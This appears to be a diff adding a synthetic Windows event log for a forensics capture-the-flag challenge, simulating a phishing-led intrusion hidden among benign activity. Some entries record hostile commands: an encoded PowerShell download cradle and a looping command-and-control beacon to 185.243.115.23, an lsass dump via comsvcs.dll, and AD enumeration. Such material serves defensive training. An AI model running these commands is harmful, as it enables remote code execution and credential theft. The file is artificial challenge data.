/dev/null +++ b/challenges/ctf-forensics-dfir-elk/logs/corp_incident.json @@ -0,0 +1,224 @@ +{"@timestamp":"2026-03-15T06:45:01.000Z","event_id":4624,"host":"WIN-ACCT01","user":"m.martin","logon_type":2,"source_ip":"192.168.10.45","description":"An account was successfully logged on","category":"Authentication"} +{"@timestamp":"2026-03-15T06:46:10.000Z","event_id":4688,"host":"WIN-ACCT01","user":"m.martin","process_name":"explorer.exe","parent_process":"userinit.exe","command_line":"C:\\Windows\\explorer.exe","description":"A new process has been created","category":"Process"} +{"@timestamp":"2026-03-15T06:47:22.000Z","event_id":4688,"host":"WIN-ACCT01","user":"m.martin","process_name":"teams.exe","parent_process":"explorer.exe","command_line":"C:\\Users\\m.martin\\AppData\\Local\\Microsoft\\Teams\\current\\Teams.exe","description":"A new process has been created","category":"Process"} +{"@timestamp":"2026-03-15T06:48:05.000Z","event_id":5156,"host":"WIN-ACCT01","user":"SYSTEM","direction":"outbound","dst_ip":"52.113.194.132","dst_port":443,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} +{"@timestamp":"2026-03-15T06:50:12.000Z","event_id":4769,"host":"DC01","user":"m.martin","service_name":"cifs/APP-SRV01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.45","description":"A Kerberos service ticket was requested","category":"Kerberos"} +{"@timestamp":"2026-03-15T06:52:33.000Z","event_id":4624,"host":"APP-SRV01","user":"svc_webapp","logon_type":5,"source_ip":"127.0.0.1","description":"Service account logon for IIS","category":"Authentication"} +{"@timestamp":"2026-03-15T06:53:00.000Z","event_id":4688,"host":"APP-SRV01","user":"svc_webapp","process_name":"w3wp.exe","parent_process":"svchost.exe","command_line":"C:\\Windows\\System32\\inetsrv\\w3wp.exe -ap DefaultAppPool","description":"A new process has been created","category":"Process"} +{"@timestamp":"2026-03-15T06:55:14.000Z","event_id":5156,"host":"APP-SRV01","user":"SYSTEM","direction":"inbound","src_ip":"192.168.10.50","dst_port":8080,"protocol":"TCP","description":"Health check inbound from monitoring server","category":"Network"} +{"@timestamp":"2026-03-15T06:57:00.000Z","event_id":4624,"host":"DC01","user":"CORP\\srv_dc","logon_type":5,"source_ip":"127.0.0.1","description":"NETLOGON service logon on DC01","category":"Authentication"} +{"@timestamp":"2026-03-15T07:00:00.000Z","event_id":4769,"host":"DC01","user":"m.martin","service_name":"ldap/DC01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.45","description":"A Kerberos service ticket was requested for LDAP","category":"Kerberos"} +{"@timestamp":"2026-03-15T07:02:11.000Z","event_id":4688,"host":"WIN-ACCT01","user":"p.bernard","process_name":"excel.exe","parent_process":"explorer.exe","command_line":"C:\\Program Files\\Microsoft Office\\Office16\\EXCEL.EXE budget_2026.xlsx","description":"A new process has been created","category":"Process"} +{"@timestamp":"2026-03-15T07:04:30.000Z","event_id":5156,"host":"WIN-ACCT01","user":"SYSTEM","direction":"outbound","dst_ip":"13.107.42.14","dst_port":443,"protocol":"TCP","description":"Azure AD authentication outbound","category":"Network"} +{"@timestamp":"2026-03-15T07:05:00.000Z","event_id":4624,"host":"WIN-ACCT01","user":"a.leclerc","logon_type":2,"source_ip":"192.168.10.45","description":"Interactive logon a.leclerc","category":"Authentication"} +{"@timestamp":"2026-03-15T07:06:14.000Z","event_id":4688,"host":"WIN-ACCT01","user":"a.leclerc","process_name":"chrome.exe","parent_process":"explorer.exe","command_line":"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe --profile-directory=Default","description":"A new process has been created","category":"Process"} +{"@timestamp":"2026-03-15T07:07:45.000Z","event_id":5156,"host":"WIN-ACCT01","user":"SYSTEM","direction":"outbound","dst_ip":"172.217.18.142","dst_port":443,"protocol":"TCP","description":"Chrome HTTPS outbound to Google","category":"Network"} +{"@timestamp":"2026-03-15T07:09:00.000Z","event_id":4648,"host":"WIN-ACCT01","user":"p.bernard","target_user":"p.bernard","target_host":"APP-SRV01","logon_type":3,"description":"Explicit credentials logon to APP-SRV01","category":"Authentication"} +{"@timestamp":"2026-03-15T07:09:30.000Z","event_id":4624,"host":"APP-SRV01","user":"p.bernard","logon_type":3,"source_ip":"192.168.10.47","description":"Network logon p.bernard from workstation","category":"Authentication"} +{"@timestamp":"2026-03-15T07:10:01.000Z","event_id":4688,"host":"APP-SRV01","user":"p.bernard","process_name":"notepad.exe","parent_process":"explorer.exe","command_line":"notepad.exe C:\\inetpub\\wwwroot\\web.config","description":"A new process has been created","category":"Process"} +{"@timestamp":"2026-03-15T07:12:03.000Z","event_id":4624,"host":"WIN-ACCT01","user":"j.dupont","logon_type":2,"source_ip":"192.168.10.45","description":"An account was successfully logged on","category":"Authentication"} +{"@timestamp":"2026-03-15T07:13:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"j.dupont","process_name":"outlook.exe","parent_process":"explorer.exe","command_line":"C:\\Program Files\\Microsoft Office\\Office16\\OUTLOOK.EXE","description":"A new process has been created","category":"Process"} +{"@timestamp":"2026-03-15T07:14:22.000Z","event_id":4688,"host":"WIN-ACCT01","user":"j.dupont","process_name":"chrome.exe","parent_process":"explorer.exe","command_line":"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe","description":"A new process has been created","category":"Process"} +{"@timestamp":"2026-03-15T07:15:10.000Z","event_id":5156,"host":"WIN-ACCT01","user":"SYSTEM","direction":"outbound","dst_ip":"142.250.74.46","dst_port":443,"protocol":"TCP","description":"HTTPS outbound Chrome","category":"Network"} +{"@timestamp":"2026-03-15T07:16:00.000Z","event_id":4769,"host":"DC01","user":"j.dupont","service_name":"cifs/APP-SRV01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.45","description":"A Kerberos service ticket was requested","category":"Kerberos"} +{"@timestamp":"2026-03-15T07:17:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"a.leclerc","process_name":"mstsc.exe","parent_process":"explorer.exe","command_line":"mstsc.exe /v:192.168.10.52","description":"RDP client launched toward APP-SRV01","category":"Process"} +{"@timestamp":"2026-03-15T07:17:40.000Z","event_id":4624,"host":"APP-SRV01","user":"a.leclerc","logon_type":10,"source_ip":"192.168.10.45","description":"Remote interactive (RDP) logon - a.leclerc","category":"Authentication"} +{"@timestamp":"2026-03-15T07:18:00.000Z","event_id":4688,"host":"APP-SRV01","user":"a.leclerc","process_name":"excel.exe","parent_process":"rdpclip.exe","command_line":"C:\\Program Files\\Microsoft Office\\Office16\\EXCEL.EXE report_march.xlsx","description":"A new process has been created","category":"Process"} +{"@timestamp":"2026-03-15T07:20:00.000Z","event_id":5156,"host":"APP-SRV01","user":"SYSTEM","direction":"inbound","src_ip":"192.168.10.45","dst_port":443,"protocol":"TCP","description":"HTTPS inbound from workstation","category":"Network"} +{"@timestamp":"2026-03-15T07:21:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"f.petit","process_name":"msedge.exe","parent_process":"explorer.exe","command_line":"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe","description":"A new process has been created","category":"Process"} +{"@timestamp":"2026-03-15T07:22:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"SYSTEM","direction":"outbound","dst_ip":"40.101.91.160","dst_port":443,"protocol":"TCP","description":"Exchange Online HTTPS outbound","category":"Network"} +{"@timestamp":"2026-03-15T07:22:10.000Z","event_id":4688,"host":"WIN-ACCT01","user":"j.dupont","process_name":"winword.exe","parent_process":"outlook.exe","command_line":"C:\\Program Files\\Microsoft Office\\Office16\\WINWORD.EXE /n \"C:\\Users\\j.dupont\\AppData\\Local\\Temp\\Rapport_Q1_2026.docx\"","description":"A new process has been created","category":"Process"} +{"@timestamp":"2026-03-15T07:22:45.000Z","event_id":4688,"host":"WIN-ACCT01","user":"j.dupont","process_name":"powershell.exe","parent_process":"winword.exe","command_line":"powershell.exe -NoP -NonI -W Hidden -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAY3QgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADgANQAuADIANAAzAC4AMQAxADUALgAyADMALwB1AHAAZABhAHQAZQAuAHAAcwAxACcAKQA=","description":"A new process has been created","category":"Process"} +{"@timestamp":"2026-03-15T07:22:48.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} +{"@timestamp":"2026-03-15T07:22:49.000Z","event_id":4688,"host":"WIN-ACCT01","user":"j.dupont","process_name":"powershell.exe","parent_process":"powershell.exe","command_line":"powershell.exe -ExecutionPolicy Bypass -File C:\\Users\\j.dupont\\AppData\\Roaming\\update.ps1","description":"A new process has been created","category":"Process"} +{"@timestamp":"2026-03-15T07:23:01.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} +{"@timestamp":"2026-03-15T07:24:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"m.martin","process_name":"winword.exe","parent_process":"outlook.exe","command_line":"C:\\Program Files\\Microsoft Office\\Office16\\WINWORD.EXE rapport_rh.docx","description":"A new process has been created","category":"Process"} +{"@timestamp":"2026-03-15T07:25:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"SYSTEM","direction":"outbound","dst_ip":"192.168.10.10","dst_port":88,"protocol":"Kerberos","description":"Kerberos TGT request to DC01","category":"Network"} +{"@timestamp":"2026-03-15T07:26:00.000Z","event_id":4769,"host":"DC01","user":"a.leclerc","service_name":"http/APP-SRV01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.45","description":"A Kerberos service ticket was requested","category":"Kerberos"} +{"@timestamp":"2026-03-15T07:27:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"p.bernard","process_name":"powershell.exe","parent_process":"explorer.exe","command_line":"powershell.exe Get-Service | Where-Object {$_.Status -eq 'Running'}","description":"Legitimate admin PowerShell command","category":"Process"} +{"@timestamp":"2026-03-15T07:28:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"j.dupont","process_name":"SharpHound.exe","parent_process":"powershell.exe","command_line":"SharpHound.exe -c All --zipfilename loot.zip","description":"A new process has been created","category":"Process"} +{"@timestamp":"2026-03-15T07:28:15.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"192.168.10.10","dst_port":389,"protocol":"LDAP","description":"Windows Filtering Platform permitted a connection","category":"Network"} +{"@timestamp":"2026-03-15T07:28:16.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"192.168.10.10","dst_port":389,"protocol":"LDAP","description":"Windows Filtering Platform permitted a connection","category":"Network"} +{"@timestamp":"2026-03-15T07:28:17.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"192.168.10.10","dst_port":389,"protocol":"LDAP","description":"Windows Filtering Platform permitted a connection","category":"Network"} +{"@timestamp":"2026-03-15T07:28:30.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"192.168.10.10","dst_port":389,"protocol":"LDAP","description":"Windows Filtering Platform permitted a connection","category":"Network"} +{"@timestamp":"2026-03-15T07:28:45.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"192.168.10.10","dst_port":636,"protocol":"LDAPS","description":"Windows Filtering Platform permitted a connection","category":"Network"} +{"@timestamp":"2026-03-15T07:29:00.000Z","event_id":4624,"host":"WIN-ACCT01","user":"f.petit","logon_type":2,"source_ip":"192.168.10.48","description":"Interactive logon f.petit","category":"Authentication"} +{"@timestamp":"2026-03-15T07:29:30.000Z","event_id":5156,"host":"WIN-ACCT01","user":"SYSTEM","direction":"outbound","dst_ip":"192.168.10.10","dst_port":53,"protocol":"DNS","description":"DNS query to DC01","category":"Network"} +{"@timestamp":"2026-03-15T07:30:00.000Z","event_id":4688,"host":"APP-SRV01","user":"svc_webapp","process_name":"msiexec.exe","parent_process":"svchost.exe","command_line":"C:\\Windows\\System32\\msiexec.exe /i patch_kb5030219.msi /quiet","description":"Scheduled Windows Update installation","category":"Process"} +{"@timestamp":"2026-03-15T07:30:22.000Z","event_id":4688,"host":"WIN-ACCT01","user":"j.dupont","process_name":"rundll32.exe","parent_process":"powershell.exe","command_line":"rundll32.exe C:\\Windows\\System32\\comsvcs.dll, MiniDump 624 C:\\Windows\\Temp\\lsass.dmp full","description":"A new process has been created","category":"Process"} +{"@timestamp":"2026-03-15T07:30:25.000Z","event_id":10,"host":"WIN-ACCT01","user":"j.dupont","source_process":"rundll32.exe","target_process":"lsass.exe","call_trace":"C:\\Windows\\SYSTEM32\\ntdll.dll+MiniDumpWriteDump","description":"Process accessed","category":"Process"} +{"@timestamp":"2026-03-15T07:31:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} +{"@timestamp":"2026-03-15T07:32:00.000Z","event_id":4769,"host":"DC01","user":"f.petit","service_name":"cifs/WIN-ACCT01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.48","description":"A Kerberos service ticket was requested","category":"Kerberos"} +{"@timestamp":"2026-03-15T07:33:00.000Z","event_id":4624,"host":"DC01","user":"a.admin","logon_type":2,"source_ip":"192.168.10.20","description":"Admin interactive logon to DC01","category":"Authentication"} +{"@timestamp":"2026-03-15T07:34:00.000Z","event_id":4688,"host":"DC01","user":"a.admin","process_name":"gpupdate.exe","parent_process":"cmd.exe","command_line":"gpupdate /force","description":"GPO update forced by admin","category":"Process"} +{"@timestamp":"2026-03-15T07:35:00.000Z","event_id":5156,"host":"DC01","user":"SYSTEM","direction":"outbound","dst_ip":"192.168.10.45","dst_port":445,"protocol":"SMB","description":"DC to workstation SMB","category":"Network"} +{"@timestamp":"2026-03-15T07:35:14.000Z","event_id":4648,"host":"WIN-ACCT01","user":"j.dupont","target_user":"svc_backup","target_host":"APP-SRV01","logon_type":3,"description":"Explicit credentials logon attempt","category":"Authentication"} +{"@timestamp":"2026-03-15T07:35:18.000Z","event_id":4624,"host":"APP-SRV01","user":"svc_backup","logon_type":3,"source_ip":"192.168.10.45","description":"An account was successfully logged on","category":"Authentication"} +{"@timestamp":"2026-03-15T07:36:00.000Z","event_id":5156,"host":"DC01","user":"SYSTEM","direction":"inbound","src_ip":"192.168.10.50","dst_port":636,"protocol":"LDAPS","description":"Secure LDAP from monitoring server","category":"Network"} +{"@timestamp":"2026-03-15T07:37:00.000Z","event_id":4769,"host":"DC01","user":"p.bernard","service_name":"ldap/DC01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.47","description":"A Kerberos service ticket was requested","category":"Kerberos"} +{"@timestamp":"2026-03-15T07:38:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"a.leclerc","process_name":"powershell.exe","parent_process":"explorer.exe","command_line":"powershell.exe Get-ADUser -Filter * | Select-Object Name,SamAccountName","description":"Legitimate AD query by admin","category":"Process"} +{"@timestamp":"2026-03-15T07:39:00.000Z","event_id":4624,"host":"APP-SRV01","user":"m.martin","logon_type":3,"source_ip":"192.168.10.45","description":"Network logon m.martin","category":"Authentication"} +{"@timestamp":"2026-03-15T07:40:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} +{"@timestamp":"2026-03-15T07:41:00.000Z","event_id":4688,"host":"APP-SRV01","user":"m.martin","process_name":"notepad.exe","parent_process":"explorer.exe","command_line":"notepad.exe C:\\inetpub\\wwwroot\\config.xml","description":"Config file viewed","category":"Process"} +{"@timestamp":"2026-03-15T07:42:00.000Z","event_id":5156,"host":"APP-SRV01","user":"SYSTEM","direction":"inbound","src_ip":"192.168.10.47","dst_port":443,"protocol":"TCP","description":"HTTPS request from p.bernard workstation","category":"Network"} +{"@timestamp":"2026-03-15T07:43:00.000Z","event_id":4688,"host":"DC01","user":"a.admin","process_name":"dsa.msc","parent_process":"mmc.exe","command_line":"dsa.msc","description":"Active Directory Users and Computers console opened","category":"Process"} +{"@timestamp":"2026-03-15T07:44:00.000Z","event_id":4769,"host":"DC01","user":"a.leclerc","service_name":"cifs/DC01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.45","description":"A Kerberos service ticket was requested","category":"Kerberos"} +{"@timestamp":"2026-03-15T07:45:00.000Z","event_id":4688,"host":"APP-SRV01","user":"svc_webapp","process_name":"iisreset.exe","parent_process":"cmd.exe","command_line":"iisreset /restart","description":"IIS restart scheduled maintenance","category":"Process"} +{"@timestamp":"2026-03-15T07:46:00.000Z","event_id":4624,"host":"APP-SRV01","user":"svc_webapp","logon_type":5,"source_ip":"127.0.0.1","description":"Service re-logon after IIS restart","category":"Authentication"} +{"@timestamp":"2026-03-15T07:47:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"SYSTEM","direction":"outbound","dst_ip":"216.58.213.142","dst_port":443,"protocol":"TCP","description":"HTTPS to Google services","category":"Network"} +{"@timestamp":"2026-03-15T07:48:00.000Z","event_id":4624,"host":"WIN-ACCT01","user":"p.bernard","logon_type":2,"source_ip":"192.168.10.47","description":"Interactive logon p.bernard","category":"Authentication"} +{"@timestamp":"2026-03-15T07:49:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"p.bernard","process_name":"winword.exe","parent_process":"explorer.exe","command_line":"C:\\Program Files\\Microsoft Office\\Office16\\WINWORD.EXE contrat_fournisseur.docx","description":"A new process has been created","category":"Process"} +{"@timestamp":"2026-03-15T07:50:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} +{"@timestamp":"2026-03-15T07:51:00.000Z","event_id":4769,"host":"DC01","user":"m.martin","service_name":"cifs/APP-SRV01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.45","description":"A Kerberos service ticket was requested","category":"Kerberos"} +{"@timestamp":"2026-03-15T07:52:00.000Z","event_id":4688,"host":"APP-SRV01","user":"a.leclerc","process_name":"powershell.exe","parent_process":"rdpclip.exe","command_line":"powershell.exe Get-Process | Sort-Object CPU -Descending | Select-Object -First 10","description":"Legitimate admin PS command via RDP","category":"Process"} +{"@timestamp":"2026-03-15T07:53:00.000Z","event_id":5156,"host":"DC01","user":"SYSTEM","direction":"outbound","dst_ip":"192.168.10.52","dst_port":445,"protocol":"SMB","description":"DC replication SMB to APP-SRV01","category":"Network"} +{"@timestamp":"2026-03-15T07:54:00.000Z","event_id":4624,"host":"DC01","user":"p.bernard","logon_type":3,"source_ip":"192.168.10.47","description":"Network logon p.bernard to DC01 for GPO","category":"Authentication"} +{"@timestamp":"2026-03-15T07:55:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} +{"@timestamp":"2026-03-15T07:56:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"f.petit","process_name":"chrome.exe","parent_process":"explorer.exe","command_line":"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe --profile-directory=Default","description":"A new process has been created","category":"Process"} +{"@timestamp":"2026-03-15T07:57:00.000Z","event_id":4769,"host":"DC01","user":"f.petit","service_name":"cifs/APP-SRV01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.48","description":"A Kerberos service ticket was requested","category":"Kerberos"} +{"@timestamp":"2026-03-15T07:58:00.000Z","event_id":5156,"host":"APP-SRV01","user":"SYSTEM","direction":"inbound","src_ip":"192.168.10.50","dst_port":443,"protocol":"TCP","description":"Monitoring health check HTTPS","category":"Network"} +{"@timestamp":"2026-03-15T07:59:00.000Z","event_id":4624,"host":"APP-SRV01","user":"f.petit","logon_type":3,"source_ip":"192.168.10.48","description":"Network logon f.petit","category":"Authentication"} +{"@timestamp":"2026-03-15T08:00:00.000Z","event_id":4688,"host":"APP-SRV01","user":"f.petit","process_name":"notepad.exe","parent_process":"explorer.exe","command_line":"notepad.exe","description":"A new process has been created","category":"Process"} +{"@timestamp":"2026-03-15T08:02:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} +{"@timestamp":"2026-03-15T08:05:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"m.martin","process_name":"outlook.exe","parent_process":"explorer.exe","command_line":"C:\\Program Files\\Microsoft Office\\Office16\\OUTLOOK.EXE","description":"A new process has been created","category":"Process"} +{"@timestamp":"2026-03-15T08:06:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"SYSTEM","direction":"outbound","dst_ip":"40.101.91.160","dst_port":443,"protocol":"TCP","description":"Exchange Online connection","category":"Network"} +{"@timestamp":"2026-03-15T08:08:00.000Z","event_id":4769,"host":"DC01","user":"a.leclerc","service_name":"http/APP-SRV01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.45","description":"A Kerberos service ticket was requested","category":"Kerberos"} +{"@timestamp":"2026-03-15T08:10:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} +{"@timestamp":"2026-03-15T08:11:00.000Z","event_id":4624,"host":"WIN-ACCT01","user":"a.leclerc","logon_type":3,"source_ip":"192.168.10.50","description":"Network logon from monitoring server","category":"Authentication"} +{"@timestamp":"2026-03-15T08:12:00.000Z","event_id":5156,"host":"DC01","user":"SYSTEM","direction":"inbound","src_ip":"192.168.10.47","dst_port":389,"protocol":"LDAP","description":"LDAP query from p.bernard workstation","category":"Network"} +{"@timestamp":"2026-03-15T08:15:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"p.bernard","process_name":"excel.exe","parent_process":"explorer.exe","command_line":"C:\\Program Files\\Microsoft Office\\Office16\\EXCEL.EXE rapport_ventes_mars.xlsx","description":"A new process has been created","category":"Process"} +{"@timestamp":"2026-03-15T08:16:00.000Z","event_id":4769,"host":"DC01","user":"p.bernard","service_name":"cifs/WIN-ACCT01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.47","description":"A Kerberos service ticket was requested","category":"Kerberos"} +{"@timestamp":"2026-03-15T08:18:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} +{"@timestamp":"2026-03-15T08:20:00.000Z","event_id":4688,"host":"APP-SRV01","user":"a.leclerc","process_name":"powershell.exe","parent_process":"rdpclip.exe","command_line":"powershell.exe Restart-Service -Name W3SVC","description":"IIS restart via PowerShell","category":"Process"} +{"@timestamp":"2026-03-15T08:22:00.000Z","event_id":5156,"host":"APP-SRV01","user":"SYSTEM","direction":"inbound","src_ip":"192.168.10.45","dst_port":8080,"protocol":"TCP","description":"HTTP inbound request","category":"Network"} +{"@timestamp":"2026-03-15T08:24:00.000Z","event_id":4624,"host":"WIN-ACCT01","user":"j.dupont","logon_type":2,"source_ip":"192.168.10.45","description":"Interactive logon j.dupont","category":"Authentication"} +{"@timestamp":"2026-03-15T08:25:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} +{"@timestamp":"2026-03-15T08:26:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"j.dupont","process_name":"powershell.exe","parent_process":"powershell.exe","command_line":"powershell.exe -NoP -NonI -W Hidden -c \"$c=[System.Net.WebClient]::new();while($true){$r=$c.DownloadString('http://185.243.115.23/cmd');if($r -ne ''){Invoke-Expression $r};Start-Sleep 300}\"","description":"A new process has been created","category":"Process"} +{"@timestamp":"2026-03-15T08:30:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} +{"@timestamp":"2026-03-15T08:32:00.000Z","event_id":4769,"host":"DC01","user":"m.martin","service_name":"cifs/DC01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.45","description":"A Kerberos service ticket was requested","category":"Kerberos"} +{"@timestamp":"2026-03-15T08:35:00.000Z","event_id":4688,"host":"DC01","user":"a.admin","process_name":"repadmin.exe","parent_process":"cmd.exe","command_line":"repadmin /replsummary","description":"Replication status check by admin","category":"Process"} +{"@timestamp":"2026-03-15T08:37:00.000Z","event_id":4624,"host":"APP-SRV01","user":"svc_webapp","logon_type":5,"source_ip":"127.0.0.1","description":"Service account periodic logon","category":"Authentication"} +{"@timestamp":"2026-03-15T08:40:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} +{"@timestamp":"2026-03-15T08:42:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"SYSTEM","direction":"outbound","dst_ip":"192.168.10.10","dst_port":88,"protocol":"Kerberos","description":"Kerberos TGT renewal","category":"Network"} +{"@timestamp":"2026-03-15T08:44:00.000Z","event_id":4769,"host":"DC01","user":"f.petit","service_name":"cifs/WIN-ACCT01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.48","description":"A Kerberos service ticket was requested","category":"Kerberos"} +{"@timestamp":"2026-03-15T08:46:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"f.petit","process_name":"msedge.exe","parent_process":"explorer.exe","command_line":"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe --new-window","description":"A new process has been created","category":"Process"} +{"@timestamp":"2026-03-15T08:48:00.000Z","event_id":4624,"host":"APP-SRV01","user":"p.bernard","logon_type":3,"source_ip":"192.168.10.47","description":"Network logon p.bernard to APP-SRV01","category":"Authentication"} +{"@timestamp":"2026-03-15T08:50:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} +{"@timestamp":"2026-03-15T08:52:00.000Z","event_id":5156,"host":"APP-SRV01","user":"SYSTEM","direction":"inbound","src_ip":"192.168.10.50","dst_port":8080,"protocol":"TCP","description":"Monitoring health check","category":"Network"} +{"@timestamp":"2026-03-15T08:54:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"a.leclerc","process_name":"teams.exe","parent_process":"explorer.exe","command_line":"C:\\Users\\a.leclerc\\AppData\\Local\\Microsoft\\Teams\\current\\Teams.exe","description":"A new process has been created","category":"Process"} +{"@timestamp":"2026-03-15T08:56:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"SYSTEM","direction":"outbound","dst_ip":"52.113.194.132","dst_port":443,"protocol":"TCP","description":"Teams telemetry outbound","category":"Network"} +{"@timestamp":"2026-03-15T09:00:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} +{"@timestamp":"2026-03-15T09:02:00.000Z","event_id":4769,"host":"DC01","user":"a.leclerc","service_name":"cifs/APP-SRV01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.45","description":"A Kerberos service ticket was requested","category":"Kerberos"} +{"@timestamp":"2026-03-15T09:04:00.000Z","event_id":4624,"host":"WIN-ACCT01","user":"m.martin","logon_type":2,"source_ip":"192.168.10.45","description":"Interactive logon m.martin","category":"Authentication"} +{"@timestamp":"2026-03-15T09:06:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"m.martin","process_name":"outlook.exe","parent_process":"explorer.exe","command_line":"C:\\Program Files\\Microsoft Office\\Office16\\OUTLOOK.EXE","description":"A new process has been created","category":"Process"} +{"@timestamp":"2026-03-15T09:08:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"SYSTEM","direction":"outbound","dst_ip":"40.101.91.160","dst_port":443,"protocol":"TCP","description":"Outlook Exchange Online","category":"Network"} +{"@timestamp":"2026-03-15T09:10:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} +{"@timestamp":"2026-03-15T09:12:00.000Z","event_id":4688,"host":"APP-SRV01","user":"svc_backup","process_name":"cmd.exe","parent_process":"services.exe","command_line":"cmd.exe /c net localgroup administrators","description":"A new process has been created","category":"Process"} +{"@timestamp":"2026-03-15T09:14:00.000Z","event_id":4688,"host":"APP-SRV01","user":"svc_backup","process_name":"net.exe","parent_process":"cmd.exe","command_line":"net user /domain","description":"A new process has been created","category":"Process"} 